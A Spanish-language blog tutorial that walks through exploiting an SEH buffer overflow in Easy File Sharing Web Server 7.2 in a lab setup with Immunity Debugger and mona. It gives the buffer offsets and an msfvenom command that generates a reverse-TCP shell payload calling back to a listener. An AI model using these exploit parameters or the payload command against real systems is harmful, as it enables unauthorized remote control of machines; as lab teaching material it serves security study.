10 mayo 2018

Exploit SEH


structured exception handler (SEH) o traducido "manejador de excepción estructurado"

Hoy vamos a crear un exploit en seh, y para eso vamos a explotar el Easy File Sharing Web Server 7.2 el cual se puede descargar desde su página oficial

La instalación es como se realiza en windows, siguiente siguiente, usamos la misma máquina que venimos usando desde los post anteriores.

Bueno después de instalado sale esta ventana y elegimos "Try it"



Ahora el programa quedaría así, pero con la dirección ip local de tu máquina



Abrimos nuestro immunity debugger y el proceso seria ese





Este es nuestro Script base



Al ejecutarlo contra la máquina víctima



Recordamos que después de lanzar el ataque, el EIP no se vera comprometido directamente, abría que presionar shift + F9 para que pase a la excepción

También para nosotros ver el fallo en el seh con immunity, podemos hacerlo con teclado rápido en alt + s y de forma manual View -> SEH chain

Ya que sabemos que es vulnerable, creamos el patrón con mona



Vemos que hizo crash nuevamente (alt + s)



Ahora usamos el comando findmsp de mona y nos centramos solo en la parte que nos interesa



Ahora con el comando !mona seh -n sacamos los posibles saltos y que no contengan nulos



Modificamos el exploit y elegimos la primera dirección de memoria



Me imagino que hasta aquí hay un poco de enredo porque la estructura de el exploit es muy diferente a la de los demás

Bueno, lo que pasa es, que en el caso del seh, hay que hacer algunos saltos y la estructura es al revés, si se percataron, después de shift + F9 paso la excepción y el 41414141 se presento en el EIP, pondré un ejemplo que lo explique abajo

buffer = "A" * 4061 + nSEH + SEH + "D" * 935

Mientras sigamos construyendo el exploit lo iremos entendiendo mejor

Lanzamos el exploit y cuando vemos el resultado ponemos un breakpoint con F2


Al darle doble click nos dirige a la dirección ip el cual apunta a un pop esi



Entonces ahora le damos a shift + F9 y después a F7 (vamos presionado F7 para seguir paso por paso) y vemos como se va desempeñando el flujo hasta llegar a una barrera



Entonces lo que vamos a hacer, es realizar un salto a la dirección de memoria que sigue con nuestro código, entonces modificamos solo una parte del código



Recordamos que para arquitectura x86, el opcodo EB es usado para los saltos

Entonces repetimos el mismo pasa que realizamos más arriba, pero ahora tenemos un resultado diferente, hizo el salto :)




Ahora ya estamos casi listos

Ahora vamos a general nuestro shellcode, pero en este caso lleva uno parámetros diferentes a los que ya hemos generados en post anteriores

Para esto vamos a necesitar el encoder alfanumérico x86/alpha_mixed de metasploit y escogemos la opción seh como función de salida EXITFUNC=seh

Entonces para generar nuestro shellcode usando metasploit.

Usamos el comando msfvenom y con las siguientes opciones

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/alpha_mixed LHOST=192.168.0.18 LPORT=475 EXITFUNC=seh -f c

Agregamos nuestro shellcode al código y loejecutamos

Y como resultado seria



Genial ya tenemos control de la máquina 😃

Recordamos que el códigos quedan en el Github oficial

No hay comentarios.:

Publicar un comentario

Las Publicaciones más Vistas

Comandos Drozer Pentest Móvil